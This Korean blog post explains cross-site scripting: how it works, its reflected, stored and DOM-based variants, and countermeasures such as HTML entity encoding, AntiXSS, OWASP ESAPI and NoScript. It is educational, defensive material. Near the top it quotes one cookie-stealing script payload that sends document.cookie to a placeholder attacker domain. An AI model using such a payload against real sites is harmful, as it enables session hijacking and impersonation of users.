자바스크립트는 웹 애플리케이션에서 사용되는 언어로 웹 페이지에서 동적인 기능을 구현하는데 사용된다.

 

XSS는 application 계층에서 일어나고 클라이언트 측 스크립팅 언어의 취약점으로 발생하며 보통 <scipt>스크립트 코드</script>형식을 이루고 있다.

 

<script>document.location='http://asdfasdf.com/cookie?'+document.cookie</script>

해당 구문은 해당 url의 주소로 쿠키 값을 빼오는 구문이다.

 

이와 같이 XSS는  클라이언트 쪽의 웹 브라우저를 공격하는 기법의 일종으로 <script></script>와 같은 입력값을 사용하여 공격을 수행 한다.

 

로그인된 사용자의 세션 쿠키를 사용하여 공격자는 마치 자기가 사용자인양 웹페이지에 접속한다.

 

XSS는 크게 3가지 공격 기법이 있다.

 

Reflected XSS 공격

1. 공격자는 로그인된 사용자에게 악성 스크립트가 실행되게끔 유도한다.

2. 사용자는 이를 실행하고 스크립트코드가 삽입된 요청을 전송한다.

3. 스크립트코드를 반사시켜준다.

4. 웹 브라우저가 자동으로 스크립트 코드를 실행하여 공격자에게 쿠키를 보내준다.

5. 획득한 정보로 사용자인양 접속한다.

 

Stored XSS 공격

1. 서버에 스크립트 코드를 작성해둔다.

2. 사용자가 이를 모르고 페이지에 접속한다.

3. 스크립트 코드를 전달해준다.

4. 사용자의 웹 브라우저가 이를 실행하여 공격자에게 쿠키를 보내준다.

5. 획득한 정보로 사용자인 양 접속한다.

 

 

DOM 기반 XSS 공격 방법

DOM(Document Object Model)이란 W3C 표준으로 HTML 및 XML 문서에 접근방법을 표준으로 정의하는 문서객체모델이다.

피해자의 브라우저가 HTML 페이지를 구문 분석할 때마다 공격 스크립트가 DOM 생성의 일부로 실행되면서 공격한다. 페이지 자체는 변하지 않으나, 페이지에 포함되어 있는 브라우저측 코드가 DOM 환경에서 악성코드로 실행된다.

앞에서 다룬 저장 XSS 및 반사 XSS 공격의 악성 페이로드가 서버 측 애플리케이션 취약점으로 인해, 응답 페이지에 악성 스크립트가 포함되어 브라우저로 전달되면서 공격하는 것인 반면, DOM 기반 XSS는 서버와 관계없이 브라우저에서 발생하는 것이 차이점이다.

 

대응방안

-입출력 값 검증 및 무효화

htmlspecialchars() 함수를 사용하여 특정 문자를 HTML 엔티티로 변환하여 필터링하면 큰 도움이 된다.

ASCII 문자 참조 문자 ASCII 문자 참조 문자
& &amp; " &quot;
< &lt; ' &#x27;
> &gt; / &#x2F;
( &#40; ) &#41;

 

-보안 라이브러리

1) AntiXSS

AntiXSS 라이브러리는 마이크로소프트사에서 개발한 공개용 XSS 취약점 예방 라이브러리이다

 

2) OWASP ESAPI 라이브러리

OWASP는 포괄적인 애플리케이션 보안을 위해 웹 응용 취약점을 대응할 수 있는 오픈소스 ESAPI 라이브러리를 개발하여 제공하고 있다. XSS 취약점을 예방하기 위한 API는 validator와 encoder가 있다. validator는 입력 값을 필터링하는 기능을 하고 있으며, encoder는 출력 값을 인코딩 및 디코딩 기능을 가지고 있다

 

-브라우저 확장 프로그램

NoScript는 파이어폭스 등 모질라 기반의 browser에서 실행되는 오픈 소스 확장 프로그램으로, 화이트 리스트 기반으로 신뢰된 사이트의 자바스크립트, 플래쉬, 실버라이트 및 액티브X 등 동적 스크립트만 브라우저에서 실행하도록 하여 XSS 공격을 예방할 수 있다.

 

 

https://www.kisa.or.kr/uploadfile/201312/201312161355109566.pdf

XSS와 http에 관해서 kisa에서 제공해준 자료이다. 

 

'Basic Concepts > Web' 카테고리의 다른 글

DOM(Document Object Model)  (0) 2020.04.01
생각날때마다 끄적이는 웹 공격 대응방법  (0) 2020.03.05
meta 태그(meta tag)  (0) 2020.02.25
CSRF(Cross-Site Request Forgery)  (0) 2020.02.25
커맨드 인젝션(Command Injection)  (0) 2020.02.19

+ Recent posts